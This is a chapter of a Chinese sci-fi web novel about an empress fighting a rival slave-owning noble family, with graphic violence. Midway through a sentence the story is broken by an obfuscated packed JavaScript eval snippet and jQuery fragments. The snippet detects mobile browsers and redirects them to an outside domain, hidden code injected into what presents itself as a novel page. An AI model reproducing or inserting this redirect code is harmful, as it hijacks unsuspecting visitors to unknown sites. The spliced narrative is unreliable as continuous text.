15. 疯子和疯子们(14)
作品:《帝国女皇,从人格分裂开始[星际]》 『恭喜宿主完成部分任务!』
『处决人数:1人』
『任务目标:处决全部叛徒!』
伴随着安泊尔的死,系统兴奋中略带迫不及待地说到。
“你满意了?”
柯茵在脑海中询问着,像是询问原主的神识,也像是在询问系统,但无论是它们中的那一个都没有回答。
尖叫声把柯茵拖回到身体的主座。
在经历了一次意识的推搡感之后,柯茵又感觉自己被什么东西重新拽回了舞台的前台,那力道之大速度之快让她像是坐在辆一脚刹车踩死的车后座上似的,瞬间头晕恶心起来。
“呕——”
柯茵重回到这具身体后,立刻抑制不住地干呕起来。
先前她眼见着八皇女所使用的那种奇特力量骤然从她的身体里被抽走了,似乎和原主的意识一起消散了。
而熔血剑退火。默默退缩成一柄无喜无悲的普通银色匕首,像一轮平静的月亮。
柯茵回想起克劳狄对她说的话“你扇我的那巴掌不会用尽了全部的力量吧?”,那个时候他便是意指自己的力量消散,导致没办法使用熔血剑。
“殿下,您的身体短时间内不能再次使用星辰力量了,不然有生命危险!”
看到柯茵的状况急转直下,军士长走到她身边把他搀扶起来。
“我去派人把力量药剂拿来。”
药剂……
原来原主的力量是靠着药剂吊着的,柯茵这下终于知道自己为什么感觉到身体不适,又为什么会被原主险些夺舍。
柯茵抬手阻止了想要扶起自己的军士长,捡起地上的匕首,自己晃晃悠悠地站起来,保持着最后的体面坐回椅子上,像是暮年的国王强撑着回到王座,恢复到严肃的状态。
她啐掉没擦干净的血水,摇了摇头,简短地命令道:
“把那个叛徒也杀了吧。”
柯茵说完,坐在监狱走廊的椅子上,大口大口的吞了几口空气,让自己糟糕的身体尽快恢复过来,等柯茵感觉自己额头上的冷汗消散,呼吸也逐渐正常,她对军士长伸出手。
军士长低头瞥见柯茵的手掌摊开,瞬间明白皇女殿下是想要那枚戒指。
“戒指仍然处于激活状态,殿下,我们的机械牧师不太了解凯瑟尔家通讯器的机巧,他们说关闭它可能要花点时间,让我们直接销毁。”
柯茵几乎是瘫坐在椅子上,她撑着颤抖的手把自己往椅子深处挪了挪,再次接着对军士长伸出手。
军士长无奈点头,让人把那枚戒指呈了上来。
柯茵攥着戒指,看着囚室里凯瑟尔家的侍从,没报什么希望地问:
“是谁在对面听?”
侍从恐惧地摇着头,不敢给出答案。
“看看你周围,孩子,如果你老实回答,我会让你死得快一点。”
一瞬间,安静地囚室里每个可怕的人类展品包括刚刚死去的安泊尔都似乎都一齐尖叫起来,仿佛一首美妙的恐怖交响乐。
而它们的指挥带着浅浅的笑意,看向那个凯瑟尔家的奴隶男孩。
男孩下意识想要捂住耳朵,却被押他的士兵折住手腕,无处可躲。
“我的耐心有限……”
男孩顿时失了分寸,他语无伦次起来:
“您打不过凯瑟尔家的舰队的,她们、她们的人数比您多太多了,她们已经为了这次远征筹备了整整三年……如果您投降的话,如果投降、如果投降!”
“回答我的问题,谁在通讯的那头!”
柯茵几乎是迸发出怒吼,说完,狠狠捶了一下椅子的扶手。
“是哪个凯瑟尔,还是她们哪条狗在对面监听?”
柯茵的声音让那个奴隶男孩暂时恢复了一丝神智。
“凯瑟尔……”
他发疯一般地语无伦次地回答:
“是凯瑟尔,伊芙凯瑟尔大人本人!”
柯茵叹了一口气,恢复了平和地状态,她的语气也变得温和,对着戒指娓娓说到:
“伊芙凯瑟尔,你能听见吗?”
==
“永恒盛夏”号内部装潢奢华,宛如一座漂浮在宇宙中的热带宫殿。
十几米的藤蔓沿着纯白廊柱攀援而上,用葱郁的绿色遮盖住透明穹顶外的无尽星海。舰桥底部则是一片足以以假乱真的雨林。高低错落的植株掩盖之下,是飞船内的室内泳池。
泳池中,伊芙凯瑟尔的女儿奥利维亚单手在水边抹了一把脸,水珠顺着她健康、高挑、肌肉紧实的身体缓缓流下——
其中掺杂一些血液和人体的脂肪组织。
“船上的伙食把这些蠢猪养得太肥了。”
奥利维亚抱怨着洗去溅在自己身上的碎肉,轻勾右手,如镜般的水面上立刻浮起一把古老制式的熔血弓——银弓接近1.5米,花纹繁复、质地沉重,从水中浮起时掀起不小的涟漪。
奥利维亚将长弓涤过两次,随后用星辰力量隔空控制着弓箭在水中振动,利用感应震动清洗去熔血弓装饰花纹里面嵌入的血污。
然后,她听到有一株灌木轻轻动了动。
奥利维亚摇了摇头、嗤笑一声,不做理会,不急不慢地继续洗刷着自己的长弓,直到确认两面都洗干净后她才从水池中把那长弓捡起。
沉重的弓箭在她的手上轻若无物,她像是草原上的亚马逊女猎手一样迅捷地从背后的箭袋中掏出一只熔血箭,搭开长弓。拉满银弦时,她双手大臂和小臂的肌肉流畅地无声滑动着——一如长弓上的清水在繁复的花纹中安静流淌。
奥利维亚几乎没有调整自己瞄准的角度,只见灌丛中跳出忽然跳出来一个衣着褴褛、满身涂满棕色颜料的奴隶,拿着匕首红着眼冲向奥利维亚。
“呃啊!我杀了你!”
杀了我?
奥利维亚压下唇角的微笑,轻轻松开拉弦的手指。
簌——
银箭破空!
鸣镝片刻便扎入偷袭者的心脏——
随后,奥利维亚伸出食指和中指,轻轻晃动,伴随着她的手指,方才刺入奴隶身体的银箭竟然动了起来!
银箭如同纺锤一般前后进出起那个奴隶的腹腔,发出捣碎血肉时的狼藉声响。
锃——
奥利维亚勾起手指,让银箭飞回自己的手上。
后者的速度太快,带起的血液再次弄脏了奥利维亚的手心、弓箭和脸颊。
死者的血泊蜿蜒地蔓延到奥利维亚的脚下。
“为什么这些蠢货的腹腔不能像机械体一样整洁,真该死。”
她无奈地轻叹一声,赤脚走回水池边,再次清洗起她的弓箭。
直到一串急促的脚步声打断奥利维亚的思绪,让她的右耳轻轻动了动,她再次从水中警惕地起身,大开大合拉开弓的同时,敏捷地转过身对准身后人,精准地像是杀戮机器、一座人型的自动化炮台。
在奥利维亚身后,穿着挂布一样服装的侍者被她吓得喘着粗气。他举起双手,同时也把手里举着托盘扔到了地上,屏息凝神地闭着眼,结巴到:
“奥利维亚阁下,您、您、您……的母亲找您。”
奥利维亚不满地看着侍者,收起长弓,长臂一捞,捡起侍者掉在地上,本事拿给她的熔血发冠,她把那东西往自己的头顶一扔,后者便像是有生命的银蛇一样束起奥利维亚如瀑般的黑发。
“下次看着点,箭不该浪费在你这种没价值的目标身上。”
“永恒盛夏号”被绿荫织就的中庭,一条星灰色的石板小路上穿越以假乱真的丛林,连同着泳池和中庭的会客区。
奥利维亚一走进会客区,两名女□□隶便为她披上了华贵的丝绒浴袍。她每走一步,就又有两名奴隶用昂贵的人造织物地毯垫在她脚下。如此排场只是因为伊芙讨厌地毯上的水渍而奥利维亚喜欢赤脚走路——
以及,凯瑟尔是整个第三行省最大的奴隶主,她们有数不尽的,“人力资源”。
奥利维亚觉得那些家伙拖慢了她的速度,便嫌恶地轻啧一声,不顾礼仪地喊:
“您找我什么事,母亲,我的狩猎还没结束。”
奥利维亚一边走,一边接过奴隶递来的长浴巾擦拭自己和母亲完全不同的黑色长发。擦完头发,她在中庭的空地站稳,看向自己的母亲。
中庭的会客区只摆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739548|157477||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着一把镶嵌着各类宝石的红色躺椅。
伊芙凯瑟尔坐在躺椅上,纤长的手指轻抚着水晶酒杯,另一只手漫不经心地翻动名贵的古地球时期的纸制诗集。
伊芙凯瑟尔,凯瑟尔的四女儿,最有望继承凯瑟尔家族的女人。
位于权力旋涡中心的伊芙凯瑟尔看起来正值中年,她一头柔顺的金发保养得非常好,目光则同猎豹般锐利。伊芙凯瑟尔脸上却永远保持着一种慵懒的笑意,像是焊死了一张微笑面具。五十年的权力生活在她身上留下印记,让她即便是在最放松的时刻,也保持着一个掠食者应有的威严。
在她的红色躺椅后,伊芙凯瑟尔新纳的两个侧室丈夫正驯顺地垂手等待着她的传唤,先前的两个侧室则举着肥厚的棕榈叶,给伊芙凯瑟尔扇风。在红色的躺椅前跪着十几个年轻的男女奴隶,皮肤被涂抹成棕色,同样静默地等待着女主人的差遣。
而在一切精致的陈设里,一个跪在伊芙脚边的男人却格外肮脏而显眼。
他既不像是奴隶那样全身涂满棕色,也不像是伊芙凯瑟尔的侧室丈夫那样穿着华贵,展出身体一般站在她的身后。
奥利维亚嫌弃地看了那半人不鬼的家伙一眼,随后紧紧捏着长弓,撇开了眼神,仿佛多看他一秒钟都会忍不住当场在母亲面前当场射杀那家伙。
“母亲,您带这个又疯又脏的东西来干嘛?”
“我教会了他接扔起来食物的把戏,你要看吗?奥莉薇。”
奥利维亚咬了咬槽牙,她的痛苦和忍耐表情被却伊芙凯瑟尔、也就是她的母亲玩味地尽收眼底。
奥利维亚最终忍耐住自己的愤怒,回答:
“不,母亲,没有什么事我就先走了。”
“我们正驶向全副武装的八皇女的领地,我需要为稍后的猎杀热身。”
“等等……”
伊芙凯瑟尔用手轻轻抚摸着自己脚边男人细软的黑发,严厉地呵住奥利维亚。
“我听说安泊尔的戒指传回了讯息,留下一起听听。”
伊芙凯瑟尔说完,身后的一个奴隶从不知何处捧出一个精巧的传音天使塑像。
金色的天使塑像看起来像是一条丑陋的大头鱼,因为传音天使本就是以人类婴儿胚胎为原型。塑像中的丑陋的天使攥着小手,一副滑稽姿态,似乎知道自己马上要传递的是毫无光荣可言的阴谋诡计。
奥利维亚是个地底圣堂训练出的战士,她们和所有受训的女孩一样以堂堂正正地在对决中取胜为荣,看着象征宫廷阴谋的传音天使就心生厌恶。
“我对阴谋*没兴趣,母亲,我只需要您确认我应该为您杀掉哪些人……”
伊芙凯瑟尔用她纤细且保养良好的手轻轻旋转金色传音天使塑像背后的旋钮,一边教导她的女儿:
“我知道你被‘十三武神’的蠢话冲昏了头脑,渴望什么战士的光荣。”
“但奥利维亚,你是我唯一女儿。迟早有一天,我从凯瑟尔家、从整个第三行省得到的一切都将是你的——”
伊芙凯瑟尔的声音染上严厉:
“如果你不关心阴谋,阴谋迟早有一天关心你。”
伴随着一副凯瑟尔的动作,从被调大声音的传音天使塑像里,传来一阵模糊地响动,似乎是某种杂音。
奥利维亚耐着性子叹了口气,敷衍她的母亲一样站住。
好吧,奥利维亚告诉自己,就只是一会儿,她就能回去热身了。
于是母女二人和飞船中庭几十个奴隶一起等待着金色传音天使中的那阵噪音过去。
杂音之后,是低沉的呼吸声,来自一个刚刚平息愤怒的家伙,或者兴奋地主持完中子星电台的疯子。
“伊芙凯瑟尔,你能听见吗?”
奥利维亚凯瑟尔和伊芙凯瑟尔面面相觑,她们不太熟悉那个声音,或者说那个声音她们是熟悉的……
但它不该这个时候从这个地方传来!
那是八皇女的柯茵的声音。
那安泊尔呢?
她们的惊诧还没结束,就听八皇女毫无皇室体统地直接开口骂道:
“伊芙凯瑟尔……你这个该死的王八蛋,老不死的东西!”